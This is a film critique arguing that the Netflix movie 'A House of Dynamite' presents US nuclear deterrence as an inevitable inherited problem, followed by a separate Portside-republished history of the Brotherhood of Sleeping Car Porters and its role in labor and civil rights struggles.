“We’re talking about hitting a bullet with a bullet,” says a deputy national security advisor after describing ground-based missile defenses. “I call them rare, medium, and well-done,” says a Marine officer after passing a binder of nuclear strike options to the president, played by an uncharacteristically flat Idris Elba. Later on, the president says, “I listened to this podcast, and the guy said, ‘We all built a house filled with dynamite . . . and then we just kept on livin’ in it.’”  Even the film’s title is a metaphor.

Cringeworthiness notwithstanding — facing Armageddon, the president really quotes “the guy” from a podcast? — this line summarizes A House of Dynamite ’s main message: the problems posed by the US nuclear arsenal are impersonal, intractable, and inherited from the past.

A House of Dynamite is not an antiwar movie. It’s not even an anti-nuke movie — at least not in any robust sense. Instead, it’s an impotent and unserious exercise in handwringing.

The film illustrates the insanity of the American doctrine of nuclear deterrence (the suicidal idea, axiomatic since the 1950s, that to avoid nuclear attack we must credibly threaten to destroy the world). But it also places that doctrine beyond the bounds of political contestation by presenting it as an inevitable holdover from a history nobody asked for and for which no one is at fault.

Too Late

Idon’t know whether the podcast Elba’s character references is real. Considering how much oxygen podcasts suck up these days, especially for news-junkie liberals like screenwriter (and former NBC News head) Noah Oppenheim, I suppose it could be. But I’m not about to go scrubbing through the archives of Pod Save America looking for it. Instead, I’ll go out on a limb and guess that A House of Dynamite ’s title was inspired not by a podcast but by a passage in a 1984 book called The Abolition by the New Yorker staff writer Jonathan Schell.

Schell — who also wrote the landmark 1982 book The Fate of the Earth , about the environmental fallout of nuclear weapons — brings up a house rigged with explosives to illustrate the inane character of “deterrence” as a personal and public safety plan. His point is that “deterrence arbitrates nothing.” Even in a best-case scenario, all it can do is ensure that all disputes are indefinitely suspended, or “kept in abeyance, without any resolution.”

Schell illustrates this point through a hypothetical anecdote about a neighbor who insists upon breaking into his house. The homeowner can settle the dispute through direct means (punching or shooting the neighbor) or through civil means (calling the police). Each of these amount to reactions to a violation after it occurs.

A policy of deterrence is fundamentally different:

Under deterrence I have, in anticipation of my neighbor’s depredations, filled my house with explosives, wired them to go off the moment any unauthorized person crosses my threshold and (an essential step) informed my neighbor of what I have done — hoping, of course, that he will then have the good sense to give up any plans he might have for stealing my furniture.

Schell’s point in The Abolition is to present an actionable plan for a worldwide drawdown in nuclear capacity — an argument he can make only after pointing out the obvious absurdity of a global safety plan based on the principle of mutually assured destruction.

But as far as technological metaphors go, “a house of dynamite” is a misleading one. To state the obvious, the American nuclear arsenal is not a house. It’s not something you can erect and then leave alone. It is a dynamic system that requires daily, even hourly, input from many thousands of persons, entities, and machines. The infrastructure that undergirds the doctrine of nuclear deterrence is not stationary and self-contained, but rather continuously reloaded and constantly in motion.

Writing seventy years ago, at a historical moment when the horrors of nuclear war could not be so easily euphemized, the philosopher Günther Anders offered a better metaphor: “The bomb is a deed.”

What does it mean to say the bomb is a deed? For one thing, it forces us to consider some much more recent history than the invention of the first nukes eighty years ago. The most relevant year for understanding America’s current nuclear predicament is not 1945 but 2010. This was when the Defense Department, under the leadership of Commander in Chief Barack Obama, began a comprehensive upgrade and expansion of the US nuclear arsenal.

According to the New York Times , this in-progress nuclear upgrade involves over 100,000 scientists, engineers, and subcontractors, working in all fifty states to produce “a new fleet of bomber jets, land-based missiles and thermonuclear warheads” as well as “12 nuclear ballistic missile submarines” and a slew of other goodies. (For a glimpse into the lives and psyches of the people working on this nuclear expansion , check out the chilling Countdown: The Blinding Future of Nuclear Weapons , by the science journalist Sarah Scoles.)

Still from A House of Dynamite . (Netflix)

The nuclear upgrade is expected to end in 2042 and cost a total of 1.7 trillion dollars — that’s an expenditure of $108,000 per minute, every minute, for thirty years. Now, with the work more than halfway finished, suddenly there is a glut of cultural products commenting on the dangers of nuclear weapons. This emergent genre includes not only A House of Dynamite but also Oppenheimer , the New York Times series “ At the Brink ,” and Annie Jacobsen’s book Nuclear War: A Scenario (which Denis Villeneuve is reportedly adapting for the screen).

It is curious and a little exasperating that the American entertainment and news establishment only discovered its profound anxiety about nuclear deterrence once the once-in-a-generation rebuild of the US nuclear system was already so close to completion that it could no longer be meaningfully opposed.

Who Built the House of Dynamite?

Thanks in large part to this disastrous timing, A House of Dynamite fails as political commentary before it even begins. The film begs the question: Who built the House of Dynamite? Then it answers: Who knows? And really, who cares?

It certainly wasn’t Elba’s flustered POTUS, who learned about his own nuclear policy from a podcast. Nor was it the dysfunctional secretary of defense — a squirming worm of a character, played to off-putting perfection by Jared Harris, who spends most of the film flecking his telephone mouthpiece with spittle. Nor was it even the bullheaded general at the helm of US Strategic Command: a no-thoughts-just-rules kind of guy, played by Tracy Letts, who wants only to talk baseball and nuke Moscow (in that order).

According to the movie’s moral logic, none of these officials are responsible for the predicament they find themselves in. They are not the architects of Armageddon so much as they are the victims of history. This is the thesis of Oppenheim’s op-ed. Our political leaders live in the dynamite house just like the rest of us do. Pity them. Heavy are the heads that wear the nuclear crowns.

A House of Dynamite sinks into what the nuclear scholars Benoît Pelopidas and Neil C. Renic have called the “tragedy trap,” in which “foreseeable and solvable problems are reconceptualized as intractable dilemmas, and morally and politically accountable agents are reframed as powerless observers.” The problem with such a framing, Pelopidas and Renic argue, is that it “indulges the very hubris the tragic recognition is intended to caution against.”

Confronted with the outrage of a civilization-ending nuclear war, we are asked to identify with the most powerful men in the world and to see in their anguish and indecision a sympathetic reflection of our own horror. It takes a twisted kind of movie-magic to make an audience relate more to feckless elites spluttering into their sat-phones than to the millions of ordinary people slated to become the first casualties of humanity’s terminal war.

To borrow a phrase from former US ambassador George F. Kennan, who infamously called America’s nuke obsession “a form of illness,” everything about A House of Dynamite is “morbid in the extreme.”

Some readers will think I’m nitpicking and nay-saying here. Critics and viewers alike have already begun describing A House of Dynamite as our generation’s answer to Dr. Strangelove (1964) or The Day After (1983) — movies that, whatever their blind spots, at least brought our unending nuclear peril to widespread public attention. By presenting the stakes of nuclear brinksmanship in such stark terms, won’t A House of Dynamite inspire a kind of awareness that can only tend toward greater caution, maybe even eventual disarmament?

I’m not so sure. The truth is that apocalyptic visions of nuclear genocide can just as easily fortify US nuclear doctrine as call it into question.

In his book People of the Bomb , the anthropologist Hugh Gusterson describes meeting a woman named Sylvia who, like him, was deeply affected by the Hiroshima nuclear bombing of 1945. Gusterson, an anti-nuke activist, had nightmares set in Hiroshima; Sylvia, a Japanese American, lost family members in the attacks. But to Gusterson’s amazement, Sylvia worked as a scientist at Lawrence Livermore National Laboratory, where she designed nuclear warheads.

As an anti-nuke activist, Gusterson had attempted to publicize the most gruesome and horrifying effects of the bombing, in the hopes that images of “the shattered bodies of Hiroshima” would convince people that maintaining a nuclear arsenal was insane. But Sylvia’s experience proved that “this is not the only way these bodies can be read.”

“For those who are persuaded by the arguments in favor of nuclear weapons,” Gusterson writes, a stark knowledge of what happened at Hiroshima may simply reinforce the notion that it is important for one’s own country to have such weapons.”

I worry that A House of Dynamite only reinforces that notion too. By treating the doctrine of nuclear deterrence as an inevitable feature of the twenty-first-century world order — not as a policy position that can and must be reversed — the film may leave viewers with the sense that what we need is more investment in missiles (and missile-interceptor technology), not less.

This is in keeping with an increasingly mainstream reading of the film, which treats its heart-pounding story of nuclear apocalypse as a ninety-minute ad for Donald Trump’s much-hyped “ Golden Dome ” missile defense system. This seems to be the position of retired general Dan Karbler, a consultant on the film, who is now a major proselytizer for Golden Dome. (Karbler was chief of staff for US Strategic Command from 2018 to 2023, and he makes a cameo in the film in that role.) Meanwhile, the Pentagon’s only response to A House of Dynamite has been to insist that the US missile defense systems actually have a slightly better success rate than the 61 percent referenced in the movie.

What we need is an overall drawdown in nuclear weapons development and war planning. The last thing we need is more auxiliary missile technologies, which are fundamentally unreliable and only serve to further ratchet up the stakes of bomb research and development around the world.

But A House of Dynamite seems determined to lead you to the opposite conclusion. It’s as if, after warning you about the explosive house, the realtor then asked for your support to buy more dynamite-filled bricks.

Despite its veneer of gritty realism, A House of Dynamite is a film in love with euphemism. Perhaps the filmmakers thought US nuclear policy was so abstract, so remote, that a dash of metaphor was necessary. But euphemism also happens to be how state planners obscure the cruelty and recklessness of their war plans, as the historian Joanna Bourke has written . By metaphorizing the unthinkable, military commanders create “an anesthetizing effect” that dulls the public’s capacity for criticism.

A House of Dynamite promises to educate and agitate us. But then, like political anesthesia, it puts us right back to sleep.

Jonah Walters is currently the postdoctoral scholar in the BioCritical Studies Lab at UCLA’s Institute for Society and Genetics. He was a researcher at Jacobin from 2015 to 2020.

How One Black Labor Union Changed American History

Portside
portside.org
2025-12-07 14:41:42
How One Black Labor Union Changed American History Marti Sun, 12/07/2025 - 09:41 ...
Original Article

The fact that the meeting was even happening was enough to produce an air of subversive excitement. On August 25, 1925, a century ago this year, black sleeping car porters hoping to form a union at the Pullman Company packed the room at the Elks Hall in Harlem. Though we’ll never know how many, Pullman company spies were undoubtedly among the audience.

In fact, to combat the presence of these spies, no porters even spoke during the meeting. Instead, A. Philip Randolph, then an eccentric soapbox socialist with a string of failed unionization attempts behind him, led the meeting. He argued that a union was the only way to confront the company, address the porters’ grievances, and reclaim their manhood . And that he should be the man to lead them.

Common wisdom and past precedent suggested this campaign would go like so many before it: a flurry of enthusiasm followed by dashed hopes and a sober return to reality. But instead, this gathering initiated a twelve-year struggle to form the Brotherhood of Sleeping Car Porters and win a first contract against a corporate giant.

The significance of the Brotherhood of Sleeping Car Porters (BSCP) went far beyond one union and its members. “The Brotherhood,” as many members affectionately called it, would become a vessel through which to educate black communities about labor unions and challenge paternalistic corporate relationships. It acted as a critical institutional anchor through which broader fights for civil rights were waged and activist pressure tactics were developed.

The story of the BSCP illuminates the deep historical connection between the labor movement and civil rights. Through patient institution building and dogged determination, the union was able to shift the consciousness and balance of power within black communities to support unionization. This coalition was the backbone of the historic progress made toward civil rights during the mid-twentieth century. Rather than leave it in the past, this same coalition can provide the basis for fighting racial inequality today.

“Trained as a Race”

Black Pullman porters occupied a complicated class position within black communities. Associated simultaneously with dignity and servility, the porter represented a contradictory symbol of black advancement. Their emergence can be traced quite literally back to chattel slavery.

In the late nineteenth century, industrialist George Pullman designed luxury train cars to transport passengers across the country. The genius was in making this service available to the middle classes, not just the wealthy elite. The idea took off, and by 1895 Pullman had 2,556 sleeping cars that traveled over 126,660 miles of track. At the company’s peak, the sleeping cars hosted one hundred thousand passengers a night, more than all of the country’s major hotels combined.

The key to this luxury was that it wasn’t just a bed to lay your head on and some food to eat. Passengers would have their own personal servants at their beck and call: the Pullman porter. Cynically, Pullman reserved these jobs for Southern black men, preferably the formerly enslaved.

A sleeping car porter from Pullman, Chicago, helps a woman. (Author and date unknown)

Pullman felt this was a perfect match, explaining how black former slaves were “trained as a race by years of personal service in various capacities, and by nature adapted faithfully to perform their duties under circumstances which necessitate unfailing good nature, solicitude, and faithfulness.” In a further insult to their dignity, most porters were referred to as “George,” harkening back to the days of slaves being named after their masters.

The expectation of complete subservience was reinforced by the fact that porters mainly relied on tips for their wages. The surest path to a fat tip was catering to the customers’ every need and enduring each humiliation with a smile. Shining shoes, running a bath , mailing letters, lugging baggage, and looking the other way at indiscretions were all in a day’s work. Former NAACP president Roy Wilkins, who worked as a Pullman porter as a young man, said they “worked like house slaves on roller skates.”

The hours were brutal. On average, a porter had to work almost 350 hours per month. Especially in the early years, they would have a hard time getting more than three hours of sleep at night while on a trip. Porters would have to pay out of their meager wages for a work uniform and supplies like shoe polish.

But despite these conditions, a sleeping car porter was viewed as a prestigious job within black communities. With their crisp Pullman uniforms, porters had an air of distinction. Their work was not “dirty,” unlike so many jobs black workers were relegated to. The pay wasn’t great, but still much better than most other jobs working-class blacks could hope to find. A Pullman porter was seen as a proud representative of a small but growing black middle class. In Chicago, for example, home ownership among porters was at a high 57 percent in 1927.

A Pullman porter working at Chicago’s Union Station, January 1943 (The Library of Congress Prints and Photographs Division)

Samuel Turner worked forty-one years on the railroad, mostly on dining cars. He said to Rising from the Rails author Larry Tye that he “always wanted to be a sleeping car porter. They had those pretty uniforms on, they made tips, and they had those high-class people riding those sleeping cars, people who had money. All those porters had nice houses, beautiful homes. You were almost considered a doctor.”

Many porters used the job to pay for their college education. From Thurgood Marshall to Malcolm X, a list of former porters can read like a who’s who of black history. Beyond economic stability, a porter represented well-traveled cosmopolitanism and sophistication. E. D. Nixon, a porter and BSCP leader in Alabama, said that when a porter spoke “everybody listened because they knowed the porter been everywhere and they never been anywhere themselves.”

Pullman porters became an important conduit for spreading information and new ideas to black communities. The editor of the Chicago Defender , one of the largest and most important black newspapers, used porters to distribute the paper all across the South in barbershops, churches, and other social settings. It was likely thanks to porters that by 1920 the paper had a circulation of 230,000, two-thirds from outside Chicago.

There had been previous efforts by porters to organize, but they never lasted long. In 1890, a group of porters known as the Charles Sumner Association threatened to strike but backed down when Pullman threatened to replace them with white workers. In 1901, a group of porters even got their demands published in the St. Louis Post-Dispatch .

Such initiatives were snuffed out through brute intimidation and then eventually clever co-optation by the Employee Representation Plan (ERP), a company union set up in 1920. In response to worker rumblings, the ERP instituted a paltry 8 percent wage increase.

One of the officers of the ERP was a respected porter named Ashley Totten who read the Messenger , A. Philip Randolph’s socialist magazine, and listened to some of his soapbox speeches. He and some other reps were fed up with the ERP’s ineffectiveness and thought Randolph could be the perfect outsider to agitate porters without fear of retaliation from the company.

While Randolph was indeed outspoken, his record in unionization efforts wasn’t exactly inspiring. Though his agitation against World War I earned him the title of “most dangerous Negro in America” from the State Department, he struggled to make his socialist ideas have an impact on the real world. His attempt to organize black elevator operators and waiters ended in disaster. As most unions within the American Federation of Labor (AFL) banned black workers, his quest to promote unionism within black communities seemed delusional and out of touch.

A. Philip Randolph pictured in the magazine he cofounded, the Messenger (Cropped image from HathiTrust )

During the 1910s and early 1920s, Marcus Garvey’s ideology of self-help, black nationalism, and international racial glory captured the imaginations of the black masses. Randolph would later acknowledge, “Socialism and trade unionism called for rigorous social struggle — hard work and programs — and few people wanted to think about that. Against the emotional power of Garveyism, what I was preaching didn’t stand a chance.”

But Randolph saw in the porters’ struggle a symbol for the strivings of all black working people. Believing that they were “made to order to carry the gospel of unionism in the colored world,” he threw himself into his newfound leadership role.

Initially, the campaign gained momentum. At the first mass meeting at the Elks Hall, Randolph raised the major demands of a wage of $150 per month, a limit of 240 hours of work per week, and an end to the demeaning practice of tipping. The next day, two hundred New York porters streamed into the Messenger office, which now also served as union headquarters. The Amsterdam News described the occasion as “the greatest mass meeting ever held of, for and by Negro working men.”

Breaking Pullman’s Web of Paternalism

To go up against Pullman and win, the union could not limit itself to persuading the workers. The BSCP had to wage a crusade for the hearts and minds of the communities where workers lived and shift the balance of power within important black institutions. Over the course of decades, Pullman had perfected a web of paternalism to ensure the loyalty of key black constituencies.

Beth Tomkins Bates’s Pullman Porters and the Rise of Protest Politics in Black America offers an excellent account of the paternalist network that bonded Chicago’s black community to the Pullman company, and how over time the BSCP was able to break it.

The company was already seen as benevolent for being such a consistent employer of black workers in the first place. This image was reinforced by substantial financial support of black institutions like churches, the Urban League, and the Wabash Avenue YMCA. Without Pullman funding, Provident Hospital, the first large-scale civil project in Chicago’s black community, would not have been possible. Ida B. Wells and Frederick Douglass even took part in its opening ceremony in 1893.

Pullman courted and won over a phalanx of prominent black figures. Chicago Defender editor Julius Nelthropp Avendorph was hired as an assistant and kept Pullman abreast of developments in the black community. Claude Barnett, founder of the Associated Negro Press, was given funding to publish Heebie Jeebies as an anti-union propaganda outlet.

Control of black churches ensured that anti-union propaganda could also be spread at the pulpit on Sundays. One of the most important relationships cultivated by Pullman was with the Quinn Chapel AME Church under Reverend Archibald James Carey. The church ran an employment service funneling workers to Pullman, and Carey refused to allow Randolph or any other pro-union figures to speak there. His blunt explanation was consistent with the view of many black religious institutions at the time: “The interest of my people lies with the wealth of the nation and with the class of white people who control it.”

Just as importantly, Pullman gave workers various social outlets in the form of company-sponsored baseball games, concerts, and barbecues. Its annual picnic in Jersey City was described by the New York Times as the “Newport of the colored social world.” Randolph and other BSCP leaders understood that any success would depend on their ability to make the union a defining presence in black social life, too.

Slowly but surely, the BSCP began to make inroads. Early on, women’s political clubs were instrumental in connecting Brotherhood activists to a broader political network. Ida B. Wells was active in this scene and organized the Wells Club and Negro Fellowship League, where discussions were held on Pullman unionization. After Randolph spoke at the Chicago and Northern District Federation of Women’s Clubs in December 1925, Wells invited him into her home and endorsed the union effort.

The BSCP Women’s Auxiliary, consisting mostly of the wives of Pullman porters, gave vital support as well. Often women went to meetings to prevent retaliation against male workers. BSCP organizer Benjamin McLaurin explained, “We had to function through the women at that time because they could attend meetings, they could pick up the literature.” Auxiliary chapters organized study groups and fundraisers for the union’s cause.

While Chicago’s black faith community began as largely united in opposition to the union, activists took advantage of some early cracks. Dr William D. Cook from Metropolitan Community Church was the only invited speaker to show up at the BSCP’s first meeting in October 1925. Known as an “outlaw preacher,” Ida B. Wells and her club friends were some of his church’s first members. Cook opened up his church to Randolph two months later to speak on “The Negro and Industrial Emancipation.”

Dr Junius C. Austin came from Pittsburgh to Chicago in 1926 and pastored Pilgrim Baptist Church. In Pittsburgh, he was a vocal supporter of Marcus Garvey’s United Negro Improvement Association (UNIA) but was more open to supporting the BSCP in Chicago because he wasn’t enmeshed in the local Pullman patronage machine. He allowed the BSCP to use his church for meeting space.

Though the ideologies of the UNIA and BSCP were almost diametrically opposed, it wasn’t entirely rare for people like Austin to support both organizations in different contexts. This speaks to the ability of the union to reframe and redirect working-class black militancy and desires for self-organization. Civil rights–minded activists like Austin wanted direct action to advance the interests of the race and were willing to align with whomever took the initiative.

Milton Webster, the hard-nosed, politically connected head of the Brotherhood’s Chicago division, put together a Citizens Committee as a venue to build public support for the union in the city’s black community. The people that formed the original core of the Committee were varied in their class and associational background, which made it all the more powerful.

Irene Gaines, an experienced activist through women’s political clubs and as industrial secretary of the Young Women’s Christian Association (YWCA), was an early recruit to the Committee. Perhaps one of the most unlikely members, George Cleveland Hall was a prominent businessman and personal friend to the anti-union Booker T. Washington. But as an advocate for black self-organization, this all-black upstart union captured his imagination.

The Citizens’ Committee organized regular “labor conferences” that brought Brotherhood allies together and stimulated deeper thinking about the role of black communities in the economy. Described by the Chicago Defender as a “movement to stir interest in serious economic problems and to educate the Race in channels of thought where there hadn’t been much before,” these labor conferences served both an organizational and ideological role within Chicago’s black community. By 1929, nearly two thousand people attended these gatherings.

The union very consciously portrayed its fight as a continuation of black people’s long-standing quest for civil rights and equality. Quotes from Frederick Douglass, especially his “power concedes nothing without a demand,” can be found throughout Brotherhood literature. One union bulletin read, “Douglass fought for the abolition of chattel slavery, and today we fight for economic freedom. The time has passed when a grown-up black man should beg a grown-up white man for anything.”

These appeals were all the more poignant because much of the Brotherhood membership had a direct connection to chattel slavery. In the pages of the Messenger , the unofficial organ of the union, the story of Silas M. Taylor was published. Taylor was born enslaved and went to work in a tobacco factory in Virginia after emancipation. Finding conditions too similar to slavery, he unsuccessfully attempted to lead a strike. He became a porter, where he served for forty years and became the head of the Boston chapter of the Brotherhood.

Taylor was fired without a pension for his militancy, to which he said in response: “They can withhold my pension . . . I am not old. I was born when the BSCP was born.” Taylor’s story embodied the lives of so many other porters and the symbolic importance of the union’s quest for economic freedom.

It became hard to disentangle the fate of the union from that of black civic life more broadly. One pro-union cartoon in the Messenger showed a porter voting for the union with the caption “I am voting for myself, my children and my race this time.” Being supportive of or opposed to the Brotherhood became a lightning rod issue that animated fierce battles among different sections of black civil society. Black labor historians Sterling D. Spero and Abram L. Harris said it was “impossible for a leader to remain neutral toward the union,” with one’s position becoming a “fundamental test” of racial militancy.

Black press outlets were put on the spot and forced to wrestle with the issue. The Chicago Defender received ad revenues from the Pullman Company and initially opposed the unionization effort. Never afraid to go to battle against anti-union forces within the black community, Randolph launched a boycott against the paper at a 1927 mass meeting held by the union in Chicago. By the end of the year, calculating that its reputation among black people was of more value than ad revenues, the Defender came out in support of the Brotherhood.

Battle With the Courts and the Company

At the same time that public sympathy was mobilized, Brotherhood leaders had to continue building and maintaining membership while a lengthy court battle unfolded. By June 1927, the Railway Labor Act mediation board recognized the union as representing a majority of Pullman porters. But they still lacked the power or leverage to force the company to the table to negotiate a contract.

Randolph felt that if they presented a credible strike threat and created a national crisis, the president could be called on to step in and force the company to bargain. The union threw itself into strike preparation, and by the spring of 1928 claimed that over six thousand porters had voted to strike. But Pullman called the bluff, saying they could easily be replaced. The mediation board believed the company and felt that since there was no crisis, the president did not need to be brought in. Randolph, after getting pressure from AFL president William Green, decided to call off the strike.

The union had shown its hand and lost. After years of momentum, the whole project was thrown into doubt. Randolph faced serious questions about his leadership, and it all seemed like a repeat of his past failures. The St. Louis Argus wrote, “The proper thing now for those who have given him money is to demand so much of it back.” The disappointment of the aborted strike combined with the pressures of the Great Depression to create a death spiral for the union.

BSCP membership fell from a peak of 4,632 in 1928 to 1,091 in 1931. These were years of intense personal struggle for the union stalwarts who stayed committed. Randolph conducted union affairs in tattered suits and with holes in his shoes. He often had to pass the hat at the end of meetings in order to get from one place to the next. E. J. Bradley, the director of the St Louis BSCP division, was one of the most powerful symbols of this sacrifice. He lost two homes and a wife due to his involvement and lived out of his car until the debt collectors took that too. But he refused to give up and received the title “noblest Roman of them all.”

Spero and Harris, though great supporters of the union from the beginning, were ready to throw in the towel in 1931 when they wrote, “The hope that this movement would become the center and rallying point for Negro labor as a whole is now dead.” But the union was able to bounce back, and not just due to the faith and persistence of Brotherhood leaders.

The election of Franklin D. Roosevelt as president in 1932 was a lifeline to the Brotherhood. The New Deal is often maligned by progressives today, portrayed as at best irrelevant to black people and at worst an agent of racial discrimination. This conception flies in the face of the actual historical record and lived experience of black working people. William H. Harris, in his account of the BSCP titled Keeping the Faith , argues, “One cannot overemphasize the importance of changes wrought by the Great Depression, particularly the New Deal, to the success of the Brotherhood.”

Progress didn’t come immediately, for porters were not covered by the National Industrial Recovery Act. But in 1934, Roosevelt signed an amendment to the Railway Labor Act which included porters, banned “yellow dog” contracts with company unions like the ERP, and required corporations like Pullman to negotiate with unions that represented the majority of their workers. The change in momentum on the ground was swift. In 1933, BSCP membership had dropped to a paltry 658. By 1934, it shot back up to 2,627.

The long, patient work Randolph and Brotherhood leaders had done building support within the black community and the American Federation of Labor was paying off. Back in 1929, Randolph facilitated the appearance of AFL president William Green at Abyssinian Baptist Church in Harlem to speak to porters and black civic leaders. At the time, this was a rare occurrence and helped a little to break down the justified tensions between black workers and the AFL. While always a reluctant and tentative partner, the AFL giving institutional support to the porters was crucial for the Brotherhood’s eventual success.

Prominent black organizations like the NAACP and Urban League began to focus more on economic issues and embrace trade unions, in no small part due to Randolph’s relentless propaganda. Abram L. Harris chaired the NAACP’s new Committee on Future Plan and Program in 1934, which called for radical economic measures. The Urban League began to set up workers’ councils, which educated black people about the benefits of unions. Both organizations publicly endorsed the Brotherhood, and on July 1, 1935, the union won an official election by the porters, 5,931 to 1,422.

On August 25, 1937 — twelve years to the day after Randolph’s first public meeting with porters in 1925 — the Pullman Company signed a collective bargaining agreement with the Brotherhood of Sleeping Car Porters. It was a fulfillment of many of the union’s initial demands and changed the lives of porters. The working month was reduced from four hundred hours hours to two hundred, the wage package increased salaries by a total of $1.25 million, and a grievance procedure was established. The Chicago Defender described the contract as “the largest single financial transaction any group of the Race has ever negotiated.”

Roy Wilkins, who worked as a porter himself before becoming NAACP president in 1955, said there were three events during the 1930s that made him proud to be black. Two were sporting events: Jesse Owens’s performance during the 1936 Olympics and Joe Louis’s knockout of Max Schmeling that same year. But the third was “the day the Pullman company, after a contract wrangle that had lasted more than a decade, summoned in A. Philip Randolph and the leaders of the BSCP and said, ‘Gentlemen, the Pullman company is ready to sign.'”

Anchor of the Civil Rights Movement

Randolph could never disentangle his role as a union leader from his role as a civil rights crusader. Having established itself as a leading force in black labor, the Brotherhood used its institutional muscle and vast social networks to stimulate political activity against racial inequality. The coming of World War II provided a great opportunity.

The war mobilized industry and signaled the final death knell for the Great Depression. But black workers remained largely locked out of defense industry jobs. The issue hit a raw nerve for black workers and heightened the contradiction of fighting a war for democracy while being excluded from it. For the US government, the problem risked ballooning into a national security crisis. Therein lay Randolph’s point of leverage.

Randolph called for a March on Washington to secure jobs for blacks in the defense industries, along with other demands like desegregation of the armed forces. Today marches on Washington barely merit a mention, but at the time it was an audacious idea, especially when it came to mobilizing working-class blacks to do it. March on Washington Movement (MOWM) chapters were established in cities across the country, and it wasn’t a surprise that they were strongest wherever there were large BSCP locals.

BSCP members were leaders in the effort, with the union offering meeting space and other logistical support. Randolph held large rallies across the country, while porters spread the word on their rides. This movement was not engaged in the polite lobbying of the middle class that characterized most NAACP efforts of that time. MOWM had a more militant edge and lived in the union halls, fraternal chapters, salons, movie theaters, bars, and poolrooms of working-class black America.

Randolph claimed he could bring one hundred thousand black people to descend on the nation’s capital, but no one really knew what the number was. Roosevelt recognized that whatever the specific number, the threat of a large domestic disturbance right as the United States entered the war was a credible one. He blinked and signed Executive Order 8802, banning discrimination in defense industries and establishing the Fair Employment Practices Committee (FEPC). Randolph and the porters had successfully harnessed and mobilized black militancy toward concrete material gains in a way that radical black nationalists hadn’t been able to. MOWM activist Richard Parrish reflected in the 1970s that the march “scared these people like no other thing. Marcus Garvey, Malcolm X, H. Rap Brown, all wrapped together, never had the power, the real power, and threat that the first march had.”

After getting this win, Randolph called off the march but kept the movement in place to enforce the order in localities. Though only lasting for a relatively brief time in the 1940s, the MOWM established the social networks, protest strategies, and political confidence that would fully blossom during the “classical phase” of the Civil Rights Movement in the 1950s and 1960s. Here again, the Brotherhood was instrumental.

St Louis was home to both a very strong MOWM chapter and BSCP local, and porter T. D. McNeal served as its leader. The chapter routinely turned out hundreds of people to pickets at local defense manufacturing plants and held a massive rally against layoffs that drew ten thousand people. In May 1942, they led a silent march of five hundred around the US Cartridge Company complex, which resulted in the raising of black workers’ wages and the hiring of seventy-two black women.

Anticipating this tactic’s widespread use in the 1960s, St Louis MOWM led sit-ins at diners and public utility companies like Southwestern Bell Telephone that won agreements to hire black workers. The FBI, which had taken a worried interest in the MOWM, concluded that “the most active Negro organization in the City of St Louis is the March on Washington Movement.”

The MOWM thrived in other cities like Chicago and New York City, also BSCP strongholds. On June 16, 1942, a MOWM event was staged in Madison Square Garden that the Pittsburgh Courier described as “the greatest race meeting in this city’s history.” It wasn’t just a rally; it was a tour de force of black political and cultural expression. Civil rights–themed skits were staged and militant speeches were made by a who’s who list of black leaders. Adam Clayton Powell Jr, the Abyssinian Baptist Church pastor and city council member, used the event to announce his historic run for Congress.

Historian David Welky described MOWM’s captivating presence in Harlem: “Around eighteen thousand African Americans streamed downtown in their Sunday best. Women wearing festive hats and men in solemn ties jammed buses and subway trains . . . Sixty blocks uptown, Harlem’s street culture fell silent out of respect for Randolph’s audacity.”

As the Congress of Industrial Organizations began to seriously get down to the task of organizing black workers, they relied extensively on black political networks that had developed while supporting the BSCP and MOWM. Halena Wilson , for example, was president of the Chicago Women’s Economic Council and was tapped to help organize the Inland Steel Company in Indiana Harbor. She drew on her BSCP ties to help five thousand black workers sign up for the Steel Workers Organizing Committee in 1937.

This feverish period of BSCP-led activity during the 1930s and 1940s opened up opportunities for black women to exercise leadership in black political activism. While often this was not through formal leadership titles, black women played indispensable roles in organizing direct action and providing the administrative backbone for movement activities.

Randolph was an inspiring and visionary leader, but women like E. Pauline Myers and Anna Arnold Hedgeman mostly staffed the MOWM offices and attended to the day-to-day organizational tasks that made the organization function. While T. D. McNeal was made the face of the sit-in movement for jobs in St Louis, he admitted, “These women really did the work.”

Maida Springer , who became an organizer for the International Ladies’ Garment Workers’ Union (ILGWU), names Randolph as an important early mentor. As a young girl, she remembers going over to a family friend’s house to stuff leaflets for the BSCP union drive. She marched with the union when they won their first contract in 1937 and was part of Randolph’s inner circle during the MOWM of the 1940s.

The BSCP Ladies Auxiliary didn’t just assist their husbands in the fight to form a union; they engaged in consumer activism during the war, too. The higher wages won by Pullman porters allowed many wives of porters to stay at home without work, a rare luxury for most black women at the time. Some auxiliary groups, like in Chicago, formed reading groups about consumer cooperatives and even established their own.

Ladies Auxiliary groups lobbied Congress to pass milk price control legislation and worked to support the Office of Price Administration (OPA) to enforce price controls at the local level. In St Louis, they monitored rent prices. The OPA formally recognized the Denver BSCP Ladies Auxiliary and said, “No women in the city are better informed or more cooperative than these women.”

Given all of this, it should be no surprise that the BSCP played a central role during the catalyzing event of the modern Civil Rights Movement: the Montgomery Bus Boycott. E. D. Nixon, president of the Montgomery BSCP, bailed Rosa Parks out of jail after her arrest. The Montgomery BSCP union hall became the meeting space of the boycott movement, and Nixon’s extensive organizing experience and broad social network were invaluable throughout.

Pullman porters, the itinerant eyes and ears of the civil rights fight, reported lynchings to groups like the NAACP. The union gave money and legal support to higher-skilled black workers like firemen, brakemen, and switchmen fighting to end employment discrimination and keep their jobs. During the March on Washington, the fulfillment of A. Philip Randolph’s original idea, the BSCP gave $50,000.

The Brotherhood was not just a union of black workers. It was a movement: an institution for black economic advancement and social equality. The union embodied the necessity for civil rights to be grounded in an economic outlook and a working-class base. The experience of this movement offers a host of lessons for organizers today on the role of building broad public support, political education, and making a union an institutional anchor for larger political fights.

Transposing experiences from 1925 to 2025 is dangerous and fraught. The BSCP relied on and mobilized a vast civil society network within black communities that amplified and reinforced their aims. We live in a much more atomized society with declining associational life. But still, people engage with sports leagues, churches, PTAs, and other organizations. Black workers are still prominent throughout our economy, from auto plants and warehouses to the postal service and public schools.

In February 2025, Teamsters Local 100 held a Black History Month event at their union hall in Cincinnati, Ohio. Over 150 members packed the hall, many of whom rarely attended union events. This social networking planted the seeds for a for a contract campaign by members at Zenith Logistics, a third-party operator for Kroger where most of the workers are black and Latino. They gathered contract surveys in multiple languages, wore “Will Strike if Provoked” shirts and all clocked in at the same time in front of management. The workers won a contract with the best wage and benefit gains they’d ever seen, along with language protecting members from ICE raids. Some of these members are now becoming shop floor leaders and could be seen proudly at the Teamsters for a Democratic Union convention .

One can’t help but see the spirit of the Brotherhood in them.

